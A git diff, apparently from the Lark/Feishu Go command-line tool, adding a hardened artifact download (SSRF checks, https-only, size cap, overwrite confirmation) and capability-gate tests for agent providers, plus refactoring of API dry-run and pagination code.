env := output.Envelope{
OK: true,
Identity: string(id),
Data: map[string]interface{}{"task_id": opts.TaskID, "canceled": true},
Notice: output.GetNotice(),
}
if jq := jqExpr(opts.Cmd); jq != "" {
return output.JqFilter(f.IOStreams.Out, env, jq)
}
output.PrintJson(f.IOStreams.Out, env)
return nil
}
// downloadArtifact resolves the artifact descriptor and writes it to opts.Output
// under vfs. A URL-type artifact is SSRF-validated and fetched over a
// download-hardened client; an inline-bytes artifact is written directly. The
// output path is validated with SafeOutputPath (relative, within the CWD)
// before any write.
func downloadArtifact(opts *taskOptions) error {
safePath, err := validate.SafeOutputPath(opts.Output)
if err != nil {
return errs.NewValidationError(errs.SubtypeInvalidArgument, "非法的 -o 路径: %v", err).
WithParam("--output").WithCause(err)
}
// Overwriting a local file destroys its content irreversibly — a high-risk
// write. It goes through the same confirmation contract as other --force
// gates (config bind): without --force, a would-be overwrite returns
// confirmation_required (exit 10) before any download. Lstat (not Stat) so a
// symlink at the path counts as existing rather than being followed.
if !opts.Force {
if _, statErr := vfs.Lstat(safePath); statErr == nil {
return errs.NewConfirmationRequiredError(errs.RiskHighRiskWrite, "agents task get --artifact -o",
"目标文件已存在,覆盖会不可逆地毁掉本地内容: %s", safePath).
WithHint("确认要覆盖后加 --force 重跑,或换一个 -o 路径")
}
}
ctx := opts.Cmd.Context()
art, err := resolveDownload(opts)
if err != nil {
return err
}
// A provider decoding an empty "data" via Call[*ArtifactData] can return
// (nil, nil); and a non-nil descriptor with neither inline bytes nor a URL
// carries no downloadable content. Both are provider-response defects — fail
// with a typed error instead of dereferencing nil or writing a 0-byte file
// (which under --force would clobber an existing local file with emptiness).
if art == nil {
return errs.NewInternalError(errs.SubtypeInvalidResponse,
"provider 未返回产物数据(响应无 data")
}
if len(art.Bytes) == 0 && art.URL == "" {
return errs.NewInternalError(errs.SubtypeInvalidResponse,
"产物 '%s' 无可下载内容provider 既未提供内联字节也未提供下载 URL", opts.ArtifactID)
}
data := art.Bytes
if art.URL != "" {
data, err = artifactFetch(ctx, opts.Factory, art.URL)
if err != nil {
return err
}
}
if err := vfs.WriteFile(safePath, data, 0o600); err != nil {
return errs.NewInternalError(errs.SubtypeFileIO, "写产物到 %s 失败: %v", safePath, err).WithCause(err)
}
f := opts.Factory
// pretty is a human view only; a --jq expression implies structured JSON.
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
out := f.IOStreams.Out
fmt.Fprintf(out, "artifact_id: %s\n", kvValue(opts.ArtifactID))
fmt.Fprintf(out, "path: %s\n", safePath)
fmt.Fprintf(out, "bytes: %d\n", len(data))
if art.Mime != "" {
fmt.Fprintf(out, "mime: %s\n", kvValue(art.Mime))
}
// suggested_name is the server-suggested name, for reference only; the
// actual on-disk path is already the safePath (-o) above.
if art.Name != "" {
fmt.Fprintf(out, "suggested_name: %s\n", kvValue(art.Name))
}
return nil
}
env := output.Envelope{
OK: true,
Identity: string(f.ResolvedIdentity),
Data: map[string]interface{}{
"artifact_id": opts.ArtifactID,
"path": safePath,
"bytes": len(data),
"mime": art.Mime,
"suggested_name": art.Name,
},
Notice: output.GetNotice(),
}
if jq := jqExpr(opts.Cmd); jq != "" {
return output.JqFilter(f.IOStreams.Out, env, jq)
}
output.PrintJson(f.IOStreams.Out, env)
return nil
}
// fetchArtifactURL is the production URL fetch: it SSRF-validates rawURL, builds
// a download-hardened HTTP client from the Factory and reads the body up to
// maxArtifactBytes, refusing anything larger. The artifact host is untrusted
// external content, so both the URL and the redirect chain are guarded.
func fetchArtifactURL(ctx context.Context, f *cmdutil.Factory, rawURL string) ([]byte, error) {
if err := validate.ValidateDownloadSourceURL(ctx, rawURL); err != nil {
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "被拦截的产物 URL: %v", err).
WithCause(err)
}
// Artifact bytes come from an untrusted host over the network; require https
// so the payload cannot be read or tampered with in transit. The SSRF check
// above already rejects private/loopback hosts and non-http(s) schemes, so a
// surviving non-https URL is plain-text http.
if !strings.HasPrefix(strings.ToLower(rawURL), "https://") {
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "产物 URL 必须为 https拒绝明文下载")
}
base, err := f.HttpClient()
if err != nil {
return nil, errs.NewInternalError(errs.SubtypeSDKError, "构造 http client 失败: %v", err).WithCause(err)
}
client := hardenDownloadClient(base)
req, err := http.NewRequestWithContext(ctx, http.MethodGet, rawURL, nil)
if err != nil {
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "非法的产物 URL: %v", err).WithCause(err)
}
resp, err := client.Do(req)
if err != nil {
return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "下载产物失败: %v", err).WithCause(err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return nil, errs.NewNetworkError(errs.SubtypeNetworkServer, "下载产物失败: HTTP %d", resp.StatusCode)
}
// Read ONE byte past the cap so an oversized body is detected rather than
// silently truncated: io.LimitReader returns EOF (not an error) at the cap, so
// reading exactly maxArtifactBytes cannot distinguish "fits" from "overflowed".
// A body over the cap is refused with a typed error instead of writing a
// corrupt, partial file that would otherwise report success.
data, err := io.ReadAll(io.LimitReader(resp.Body, maxArtifactBytes+1))
if err != nil {
return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "读取产物响应失败: %v", err).WithCause(err)
}
if int64(len(data)) > maxArtifactBytes {
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
"产物超过大小上限 %d 字节,拒绝下载(避免写入被截断的残缺文件)", int64(maxArtifactBytes))
}
return data, nil
}

1255
cmd/agents/task_test.go Normal file

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,203 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agents
import (
"context"
"encoding/json"
"strings"
"sync"
"testing"
"github.com/larksuite/cli/errs"
iagents "github.com/larksuite/cli/internal/agents"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
)
// fakeUnsupSpec is a stub instance spec driving the command-layer
// capability-gate wirings without any HTTP: ListContexts / DeleteContext are
// left UNWIRED (nil), so the command layer's nil-gate must return the typed
// unsupported_capability before any network access. GetTask is wired to return a
// task whose IsTerminal deliberately mismatches its State (normalizeTask must
// re-derive it). Send is wired (core, required by Register) but never called
// here. There is no capability-refusal code in the spec — "unsupported" is
// expressed purely by the absent hooks.
func fakeUnsupSpec() *iagents.AgentSpec {
return &iagents.AgentSpec{
Send: iagents.SendOp{Handler: func(context.Context, iagents.Runtime, iagents.SendInput) (*iagents.AgentTask, error) {
panic("unsup provider: Send should not be called")
}},
GetTask: iagents.TaskGetOp{Handler: func(_ context.Context, _ iagents.Runtime, taskID string) (*iagents.AgentTask, error) {
// Deliberate mismatch: State is terminal but IsTerminal=false.
return &iagents.AgentTask{TaskID: taskID, State: iagents.StateCompleted, IsTerminal: false}, nil
}},
// ListContexts / DeleteContext intentionally unwired ⇒ unsupported.
}
}
// registerFakeUnsup registers the fakeunsup scheme exactly once (Register
// panics on duplicates). Like the other fakes it leaks into the package-level
// registry for the remaining tests of this package run.
var registerFakeUnsupOnce sync.Once
func registerFakeUnsup() {
registerFakeUnsupOnce.Do(func() {
iagents.Register(iagents.Provider{
Scheme: "fakeunsup",
Label: "test fake (unwired optional capabilities)",
AgentIDSource: "test only",
Identities: []iagents.IdentitySpec{{Type: iagents.IdentityUser}, {Type: iagents.IdentityBot}},
Instance: fakeUnsupSpec(),
})
})
}
// assertUnsupportedCapability pins the full capability-gate contract on err:
// validation typed, subtype unsupported_capability, exit 2, hint pointing at
// `agents card <ref>`, and — because the Factory's httpmock registry has zero
// stubs — no HTTP was issued (any network attempt would have surfaced as an
// "httpmock: no stub" error instead of the typed one).
func assertUnsupportedCapability(t *testing.T, err error, ref string) {
t.Helper()
if err == nil {
t.Fatal("an unsupported capability should error")
}
if !errs.IsValidation(err) {
t.Fatalf("want validation error, got %T (%v)", err, err)
}
if code := output.ExitCodeOf(err); code != output.ExitValidation {
t.Fatalf("exit code should be %d, got %d", output.ExitValidation, code)
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.SubtypeUnsupportedCapability {
t.Fatalf("subtype should be unsupported_capability, got %+v", p)
}
if !strings.Contains(p.Hint, "agents card "+ref) {
t.Errorf("hint should point to agents card %s, got %q", ref, p.Hint)
}
if strings.Contains(err.Error(), "httpmock") {
t.Errorf("should not issue any HTTP request, but the error contains httpmock traces: %v", err)
}
}
// TestContextListUnsupportedGated pins the capability gate on `context list`: a
// provider that does not wire ListContexts returns typed unsupported_capability
// (exit 2) with the agent-card hint, without any HTTP.
func TestContextListUnsupportedGated(t *testing.T) {
registerFakeUnsup()
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
opts := &contextOptions{
Factory: f, Cmd: contextCmdCtx(t, "list"), Ref: "fakeunsup:a1", As: "bot", Format: "json",
}
assertUnsupportedCapability(t, agentContextListRun(opts), "fakeunsup:a1")
}
// TestContextDeleteUnsupportedGated pins the same gate on the confirmed
// `context delete` path (--yes passes, provider does not wire DeleteContext).
func TestContextDeleteUnsupportedGated(t *testing.T) {
registerFakeUnsup()
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
opts := &contextOptions{
Factory: f, Cmd: contextCmdCtx(t, "delete"), Ref: "fakeunsup:a1", CtxID: "c1", Yes: true, As: "bot", Format: "json",
}
assertUnsupportedCapability(t, agentContextDeleteRun(opts), "fakeunsup:a1")
}
// unsupFactory is a small helper for the capability-gate tests.
func unsupFactory(t *testing.T) *cmdutil.Factory {
t.Helper()
registerFakeUnsup()
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
return f
}
// TestTaskListUnsupportedGated pins the task_list gate: fakeunsup does not wire
// ListTasks, so `task list` returns unsupported_capability (exit 2) with no HTTP.
func TestTaskListUnsupportedGated(t *testing.T) {
f := unsupFactory(t)
opts := &taskOptions{Factory: f, Cmd: taskCmdCtx(t, "list"), Ref: "fakeunsup:a1", As: "bot", Format: "json"}
assertUnsupportedCapability(t, agentTaskListRun(opts), "fakeunsup:a1")
}
// TestContextGetUnsupportedGated pins the context_get gate (GetContext unwired).
func TestContextGetUnsupportedGated(t *testing.T) {
f := unsupFactory(t)
opts := &contextOptions{Factory: f, Cmd: contextCmdCtx(t, "get"), Ref: "fakeunsup:a1", CtxID: "c1", As: "bot", Format: "json"}
assertUnsupportedCapability(t, agentContextGetRun(opts), "fakeunsup:a1")
}
// TestArtifactDownloadUnsupportedGated pins the artifact_download gate: fakeunsup
// does not wire DownloadArtifact, so `task get --artifact` returns
// unsupported_capability (exit 2) before any download.
func TestArtifactDownloadUnsupportedGated(t *testing.T) {
f := unsupFactory(t)
opts := &taskOptions{
Factory: f, Cmd: taskCmdCtx(t, "get"), Ref: "fakeunsup:a1", TaskID: "t1",
ArtifactID: "art_1", Output: "out_unsup.bin", As: "bot", Format: "json",
}
assertUnsupportedCapability(t, agentTaskGetRun(opts), "fakeunsup:a1")
}
// TestSendFileUnsupportedGated pins the --file capability gate: example:echo
// declares file_input=false, so `send --file` returns unsupported_capability
// (exit 2) — this gate answers BEFORE the --yes confirmation and before any
// network, so no file is opened and no request is issued.
func TestSendFileUnsupportedGated(t *testing.T) {
mkSendFile(t, "whatever.txt")
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
err := agentSendRun(&sendOptions{
Factory: f, Cmd: sendCmdCtx(t), Ref: "example:echo", Text: "hi",
Files: []string{"whatever.txt"}, As: "bot", Format: "json",
})
assertUnsupportedCapability(t, err, "example:echo")
}
// TestTaskGetDerivesIsTerminalFromState pins the normalizeTask wiring: a
// provider returning a State/IsTerminal-mismatched task (completed +
// is_terminal=false) must emit is_terminal=true — the command layer derives
// the flag from State, the single source of truth.
func TestTaskGetDerivesIsTerminalFromState(t *testing.T) {
registerFakeUnsup()
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
opts := &taskOptions{
Factory: f, Cmd: taskCmdCtx(t, "get"), Ref: "fakeunsup:a1", TaskID: "t1", As: "bot", Format: "json",
}
out := f.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentTaskGetRun(opts); err != nil {
t.Fatalf("task get should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
}
data, _ := env.Data.(map[string]interface{})
if data["state"] != "completed" {
t.Fatalf("data.state should be completed, got %v", data["state"])
}
if data["is_terminal"] != true {
t.Errorf("is_terminal should be derived from State as true (correcting a provider that set false), got %v", data["is_terminal"])
}
}
// TestNormalizeTaskSummaries_DerivesFromState pins the summary-side derivation
// (task list runs its summaries through this helper; context get derives the
// single active_task's flag inline the same way).
func TestNormalizeTaskSummaries_DerivesFromState(t *testing.T) {
ts := normalizeTaskSummaries([]iagents.TaskSummary{
{TaskID: "t1", State: iagents.StateCompleted, IsTerminal: false}, // missing
{TaskID: "t2", State: iagents.StateWorking, IsTerminal: true}, // wrong
})
if !ts[0].IsTerminal {
t.Error("completed summary should derive is_terminal=true")
}
if ts[1].IsTerminal {
t.Error("working summary should derive is_terminal=false")
}
if normalizeTask(nil) != "" {
t.Error("normalizeTask(nil) should be nil-safe")
}
}

View File

@@ -13,8 +13,7 @@ import (
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/client"
"github.com/larksuite/cli/internal/cmdutil"
configpkg "github.com/larksuite/cli/internal/config"
"github.com/larksuite/cli/internal/identity"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
"github.com/larksuite/cli/internal/validate"
larkcore "github.com/larksuite/oapi-sdk-go/v3/core"
@@ -34,7 +33,7 @@ type APIOptions struct {
// Flags
Params string
Data string
As identity.Identity
As core.Identity
Output string
PageAll bool
PageSize int
@@ -88,7 +87,7 @@ Examples:
opts.Path = args[1]
opts.Cmd = cmd
opts.Ctx = cmd.Context()
opts.As = identity.Identity(asStr)
opts.As = core.Identity(asStr)
if runF != nil {
return runF(opts)
}
@@ -131,13 +130,6 @@ func buildAPIRequest(opts *APIOptions) (client.RawApiRequest, *cmdutil.FileUploa
stdin := opts.Factory.IOStreams.In
fileIO := opts.Factory.ResolveFileIO(opts.Ctx)
if opts.Method == "" {
return client.RawApiRequest{}, nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
"HTTP method must not be empty").
WithHint("pass the verb as the first argument, e.g. lark-cli api GET /open-apis/...").
WithParam("<method>")
}
// Validate --file mutual exclusions first.
if err := cmdutil.ValidateFileFlag(opts.File, opts.Params, opts.Data, opts.Output, opts.PageAll, opts.Method); err != nil {
return client.RawApiRequest{}, nil, err
@@ -251,9 +243,9 @@ func apiRun(opts *APIOptions) error {
if opts.DryRun {
if fileMeta != nil {
return cmdutil.PrintDryRunWithFile(request, config, dryRunOutputOptions(f, opts), *fileMeta)
return cmdutil.PrintDryRunWithFile(f.IOStreams.Out, request, config, opts.Format, fileMeta.FieldName, fileMeta.FilePath, fileMeta.FormFields)
}
return apiDryRun(f, request, config, opts)
return apiDryRun(f, request, config, opts.Format)
}
// Identity info is now included in the JSON envelope; skip stderr printing.
// cmdutil.PrintIdentity(f.IOStreams.ErrOut, opts.As, config, f.IdentityAutoDetected)
@@ -305,19 +297,8 @@ func apiRun(opts *APIOptions) error {
return nil
}
func apiDryRun(f *cmdutil.Factory, request client.RawApiRequest, config *configpkg.CliConfig, opts *APIOptions) error {
return cmdutil.PrintDryRun(request, config, dryRunOutputOptions(f, opts))
}
func dryRunOutputOptions(f *cmdutil.Factory, opts *APIOptions) cmdutil.DryRunOutputOptions {
return cmdutil.DryRunOutputOptions{
Format: opts.Format,
JqExpr: opts.JqExpr,
CommandPath: opts.Cmd.CommandPath(),
Identity: opts.As,
Out: f.IOStreams.Out,
ErrOut: f.IOStreams.ErrOut,
}
func apiDryRun(f *cmdutil.Factory, request client.RawApiRequest, config *core.CliConfig, format string) error {
return cmdutil.PrintDryRun(f.IOStreams.Out, request, config, format)
}
func apiPaginate(ctx context.Context, ac *client.APIClient, request client.RawApiRequest, format output.Format, jqExpr string, out, errOut io.Writer, commandPath string, pagOpts client.PaginationOptions) error {
@@ -345,18 +326,20 @@ func apiPaginate(ctx context.Context, ac *client.APIClient, request client.RawAp
switch format {
case output.FormatNDJSON, output.FormatTable, output.FormatCSV:
emitter := output.NewEmitter(output.EmitterConfig{
Out: out,
ErrOut: errOut,
CommandPath: commandPath,
Identity: string(pagOpts.Identity),
NoticeProvider: output.GetNotice,
})
pf := output.NewPaginatedFormatter(out, format)
result, hasItems, err := ac.StreamPages(ctx, request, func(items []interface{}) error {
// Streaming formats intentionally emit each page after that page has
// passed safety scanning. A later page may still fail, so callers
// must use the exit code to distinguish complete vs partial output.
return emitter.StreamPage(items, output.StreamOptions{Format: format.String()})
scanResult := output.ScanForSafety(commandPath, items, errOut)
if scanResult.Blocked {
return scanResult.BlockErr
}
if scanResult.Alert != nil {
output.WriteAlertWarning(errOut, scanResult.Alert)
}
pf.FormatPage(items)
return nil
}, pagOpts)
if err != nil {
return errs.MarkRaw(err)

View File

@@ -1,398 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package api
import (
"bytes"
"context"
"encoding/json"
"errors"
"fmt"
"io"
"net/http"
"testing"
"github.com/larksuite/cli/brand"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/client"
"github.com/larksuite/cli/internal/cmdutil"
configpkg "github.com/larksuite/cli/internal/config"
"github.com/larksuite/cli/internal/httpmock"
"github.com/larksuite/cli/internal/identity"
"github.com/larksuite/cli/internal/output"
)
type apiFailOnWriteWriter struct {
buf bytes.Buffer
writes int
failAt int
err error
}
func (w *apiFailOnWriteWriter) Write(p []byte) (int, error) {
w.writes++
if w.writes == w.failAt {
return 0, w.err
}
return w.buf.Write(p)
}
func newAPIPaginateTestHarness(t *testing.T) (*client.APIClient, *bytes.Buffer, *bytes.Buffer, *httpmock.Registry) {
t.Helper()
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "off")
previousNotice := output.PendingNotice
output.PendingNotice = nil
t.Cleanup(func() { output.PendingNotice = previousNotice })
config := &configpkg.CliConfig{
AppID: "test-app",
AppSecret: "test-secret",
Brand: brand.Feishu,
}
f, out, errOut, reg := cmdutil.TestFactory(t, config)
ac, err := f.NewAPIClientWithConfig(config)
if err != nil {
t.Fatalf("NewAPIClientWithConfig() error = %v", err)
}
ac.ErrOut = io.Discard
return ac, out, errOut, reg
}
func apiPaginateRequest() client.RawApiRequest {
return client.RawApiRequest{
Method: "GET",
URL: "/open-apis/test/v1/items",
As: identity.AsBot,
}
}
func assertAPIPaginateJSONBytes(t *testing.T, got []byte, want interface{}) {
t.Helper()
wantBytes, err := json.MarshalIndent(want, "", " ")
if err != nil {
t.Fatalf("marshal expected JSON: %v", err)
}
wantBytes = append(wantBytes, '\n')
if !bytes.Equal(got, wantBytes) {
t.Fatalf("stdout bytes mismatch\ngot:\n%s\nwant:\n%s", got, wantBytes)
}
}
func TestAPIPaginate_DefaultAggregatesAllPages(t *testing.T) {
ac, out, errOut, reg := newAPIPaginateTestHarness(t)
calls := 0
wantTokens := []string{"", "next-1", "next-2"}
for i, wantToken := range wantTokens {
page := i + 1
hasMore := page < len(wantTokens)
data := map[string]interface{}{
"items": []interface{}{map[string]interface{}{"id": string(rune('0' + page))}},
"has_more": hasMore,
}
if hasMore {
data["page_token"] = wantTokens[page]
}
reg.Register(&httpmock.Stub{
URL: "/open-apis/test/v1/items",
OnMatch: func(req *http.Request) {
calls++
if got := req.URL.Query().Get("page_token"); got != wantToken {
t.Errorf("request %d page_token = %q, want %q", page, got, wantToken)
}
},
Body: map[string]interface{}{
"code": 0,
"msg": "ok",
"data": data,
},
})
}
err := apiPaginate(context.Background(), ac, apiPaginateRequest(),
output.FormatJSON, "", out, errOut, "lark-cli api GET", client.PaginationOptions{
PageLimit: 10,
PageDelay: -1,
})
if err != nil {
t.Fatalf("apiPaginate() error = %v, want nil", err)
}
if calls != 3 {
t.Fatalf("pagination requests = %d, want 3", calls)
}
assertAPIPaginateJSONBytes(t, out.Bytes(), output.Envelope{
OK: true,
Identity: "bot",
Data: map[string]interface{}{
"items": []interface{}{
map[string]interface{}{"id": "1"},
map[string]interface{}{"id": "2"},
map[string]interface{}{"id": "3"},
},
"has_more": false,
},
})
if got := errOut.String(); got != "" {
t.Fatalf("stderr bytes = %q, want empty", got)
}
}
func TestAPIPaginate_StreamingFormatsEmitExactMultiPageBytes(t *testing.T) {
tests := []struct {
name string
format output.Format
want string
}{
{
name: "ndjson",
format: output.FormatNDJSON,
want: "{\"id\":\"1\",\"name\":\"Alice\"}\n{\"id\":\"2\",\"name\":\"Carol\",\"page_only\":\"ignored\"}\n",
},
{
name: "table",
format: output.FormatTable,
want: "id name \n── ─────\n1 Alice\n2 Carol\n",
},
{
name: "csv",
format: output.FormatCSV,
want: "id,name\n1,Alice\n2,Carol\n",
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
ac, out, errOut, reg := newAPIPaginateTestHarness(t)
reg.Register(&httpmock.Stub{
URL: "/open-apis/test/v1/items",
Body: map[string]interface{}{
"code": 0,
"msg": "ok",
"data": map[string]interface{}{
"items": []interface{}{
map[string]interface{}{"id": "1", "name": "Alice"},
},
"has_more": true,
"page_token": "next-1",
},
},
})
reg.Register(&httpmock.Stub{
URL: "/open-apis/test/v1/items",
Body: map[string]interface{}{
"code": 0,
"msg": "ok",
"data": map[string]interface{}{
"items": []interface{}{
map[string]interface{}{"id": "2", "name": "Carol", "page_only": "ignored"},
},
"has_more": false,
},
},
})
err := apiPaginate(context.Background(), ac, apiPaginateRequest(),
tt.format, "", out, errOut, "lark-cli api GET", client.PaginationOptions{
PageLimit: 10,
PageDelay: -1,
})
if err != nil {
t.Fatalf("apiPaginate() error = %v, want nil", err)
}
if got := out.String(); got != tt.want {
t.Fatalf("stdout byte mismatch\ngot (%d bytes):\n%q\nwant (%d bytes):\n%q", len(got), got, len(tt.want), tt.want)
}
if got := errOut.String(); got != "" {
t.Fatalf("stderr bytes = %q, want empty", got)
}
})
}
}
func TestAPIPaginate_StreamingWriteFailureStopsFurtherPages(t *testing.T) {
ac, _, errOut, reg := newAPIPaginateTestHarness(t)
sentinel := errors.New("page write failed")
out := &apiFailOnWriteWriter{failAt: 2, err: sentinel}
calls := 0
for page := 1; page <= 2; page++ {
hasMore := true
data := map[string]interface{}{
"items": []interface{}{map[string]interface{}{"id": page}},
"has_more": hasMore,
}
if hasMore {
data["page_token"] = fmt.Sprintf("next-%d", page)
}
reg.Register(&httpmock.Stub{
URL: "/open-apis/test/v1/items",
OnMatch: func(*http.Request) {
calls++
},
Body: map[string]interface{}{
"code": 0,
"msg": "ok",
"data": data,
},
})
}
err := apiPaginate(context.Background(), ac, apiPaginateRequest(),
output.FormatNDJSON, "", out, errOut, "lark-cli api GET",
client.PaginationOptions{PageLimit: 10, PageDelay: -1})
if !errors.Is(err, sentinel) {
t.Fatalf("apiPaginate() error = %v, want preserved writer cause", err)
}
problem, ok := errs.ProblemOf(err)
if !ok || problem.Category != errs.CategoryInternal {
t.Fatalf("apiPaginate() problem = %#v, %v; want internal typed error", problem, ok)
}
if calls != 2 {
t.Fatalf("pagination requests = %d, want 2", calls)
}
if got, want := out.buf.String(), "{\"id\":1}\n"; got != want {
t.Fatalf("stdout bytes = %q, want %q", got, want)
}
}
func TestAPIPaginate_StreamingFormatFallsBackToJSONWithoutList(t *testing.T) {
ac, out, errOut, reg := newAPIPaginateTestHarness(t)
reg.Register(&httpmock.Stub{
URL: "/open-apis/test/v1/items",
Body: map[string]interface{}{
"code": 0,
"msg": "ok",
"data": map[string]interface{}{
"name": "Test User",
"user_id": "u123",
},
},
})
err := apiPaginate(context.Background(), ac, apiPaginateRequest(),
output.FormatNDJSON, "", out, errOut, "lark-cli api GET", client.PaginationOptions{PageDelay: -1})
if err != nil {
t.Fatalf("apiPaginate() error = %v, want nil", err)
}
assertAPIPaginateJSONBytes(t, out.Bytes(), output.Envelope{
OK: true,
Identity: "bot",
Data: map[string]interface{}{
"name": "Test User",
"user_id": "u123",
},
})
wantWarning := "warning: this API does not return a list, format \"ndjson\" is not supported, falling back to json\n"
if got := errOut.String(); got != wantWarning {
t.Fatalf("stderr bytes = %q, want %q", got, wantWarning)
}
}
func TestAPIPaginate_BusinessErrorsWriteRawAndAreMarkedRaw(t *testing.T) {
businessResponse := map[string]interface{}{
"code": 123456,
"msg": "fixture business error",
"data": map[string]interface{}{"detail": "business failed"},
}
tests := []struct {
name string
format output.Format
jqExpr string
}{
{name: "jq", format: output.FormatJSON, jqExpr: ".data.items"},
{name: "default_json", format: output.FormatJSON},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
ac, out, errOut, reg := newAPIPaginateTestHarness(t)
reg.Register(&httpmock.Stub{
URL: "/open-apis/test/v1/items",
Body: businessResponse,
})
err := apiPaginate(context.Background(), ac, apiPaginateRequest(),
tt.format, tt.jqExpr, out, errOut, "lark-cli api GET", client.PaginationOptions{PageDelay: -1})
if err == nil {
t.Fatal("apiPaginate() error = nil, want business error")
}
if !errs.IsRaw(err) {
t.Fatalf("errs.IsRaw(error) = false, want true; error = %T: %v", err, err)
}
assertAPIPaginateJSONBytes(t, out.Bytes(), businessResponse)
if bytes.Contains(out.Bytes(), []byte(`"ok": true`)) {
t.Fatalf("business-error stdout contains a success envelope:\n%s", out.Bytes())
}
if got := errOut.String(); got != "" {
t.Fatalf("stderr bytes = %q, want empty", got)
}
})
}
}
func TestAPIPaginate_TransportErrorsAreMarkedRaw(t *testing.T) {
tests := []struct {
name string
format output.Format
jqExpr string
}{
{name: "jq_paginate_all", format: output.FormatJSON, jqExpr: ".data.items"},
{name: "stream_pages", format: output.FormatNDJSON},
{name: "default_paginate_all", format: output.FormatJSON},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
ac, out, errOut, _ := newAPIPaginateTestHarness(t)
err := apiPaginate(context.Background(), ac, apiPaginateRequest(),
tt.format, tt.jqExpr, out, errOut, "lark-cli api GET", client.PaginationOptions{PageDelay: -1})
if err == nil {
t.Fatal("apiPaginate() error = nil, want transport error")
}
if !errs.IsRaw(err) {
t.Fatalf("errs.IsRaw(error) = false, want true; error = %T: %v", err, err)
}
if got := out.String(); got != "" {
t.Fatalf("stdout bytes = %q, want empty", got)
}
if got := errOut.String(); got != "" {
t.Fatalf("stderr bytes = %q, want empty", got)
}
})
}
}
func TestAPIPaginate_StreamBusinessErrorIsMarkedRaw(t *testing.T) {
ac, out, errOut, reg := newAPIPaginateTestHarness(t)
reg.Register(&httpmock.Stub{
URL: "/open-apis/test/v1/items",
Body: map[string]interface{}{
"code": 123456,
"msg": "fixture business error",
"data": map[string]interface{}{},
},
})
err := apiPaginate(context.Background(), ac, apiPaginateRequest(),
output.FormatNDJSON, "", out, errOut, "lark-cli api GET", client.PaginationOptions{PageDelay: -1})
if err == nil {
t.Fatal("apiPaginate() error = nil, want business error")
}
if !errs.IsRaw(err) {
t.Fatalf("errs.IsRaw(error) = false, want true; error = %T: %v", err, err)
}
if got := out.String(); got != "" {
t.Fatalf("stdout bytes = %q, want empty", got)
}
if got := errOut.String(); got != "" {
t.Fatalf("stderr bytes = %q, want empty", got)
}
}

View File

@@ -16,13 +16,11 @@ import (
"strings"
"testing"
"github.com/larksuite/cli/brand"
"github.com/larksuite/cli/errs"
extcs "github.com/larksuite/cli/extension/contentsafety"
"github.com/larksuite/cli/internal/cmdutil"
configpkg "github.com/larksuite/cli/internal/config"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/httpmock"
"github.com/larksuite/cli/internal/identity"
"github.com/spf13/cobra"
)
@@ -42,8 +40,8 @@ func newTestRootCmd() *cobra.Command {
}
func TestApiCmd_FlagParsing(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu,
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
var gotOpts *APIOptions
@@ -62,7 +60,7 @@ func TestApiCmd_FlagParsing(t *testing.T) {
if gotOpts.Path != "/open-apis/test" {
t.Errorf("expected path /open-apis/test, got %s", gotOpts.Path)
}
if gotOpts.As != identity.AsBot {
if gotOpts.As != core.AsBot {
t.Errorf("expected as=bot, got %s", gotOpts.As)
}
if !gotOpts.DryRun {
@@ -71,8 +69,8 @@ func TestApiCmd_FlagParsing(t *testing.T) {
}
func TestApiCmd_DryRun(t *testing.T) {
f, stdout, stderr, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu,
f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
cmd := newTestApiCmd(f, nil)
@@ -81,42 +79,12 @@ func TestApiCmd_DryRun(t *testing.T) {
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
var got map[string]interface{}
if err := json.Unmarshal(stdout.Bytes(), &got); err != nil {
